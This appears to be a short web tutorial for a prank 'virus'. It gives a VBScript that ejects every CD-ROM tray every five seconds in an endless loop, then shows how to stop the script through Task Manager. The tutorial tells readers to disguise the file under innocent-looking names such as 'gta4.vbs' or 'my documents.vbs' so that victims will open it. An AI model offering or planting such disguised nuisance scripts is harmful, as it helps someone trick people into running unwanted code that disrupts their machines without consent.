Step 1:

OPEN NOTEPAD!
copy the following code in it-
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Step 2:

Now save it as Cd-rom.vbs or (your desired name).vbs
extension .vbs is neccesary.
you can also name it as gta4.vbs, my documents.vbs, please note.vbs etc

How to stop it?Your harmless and griveing virus is ready.

check it!
But note
How to stop it-
  • Open task manager or use  ctrl+alt+del
  • click on process tab
  • select wscript.exe
  • click on end process.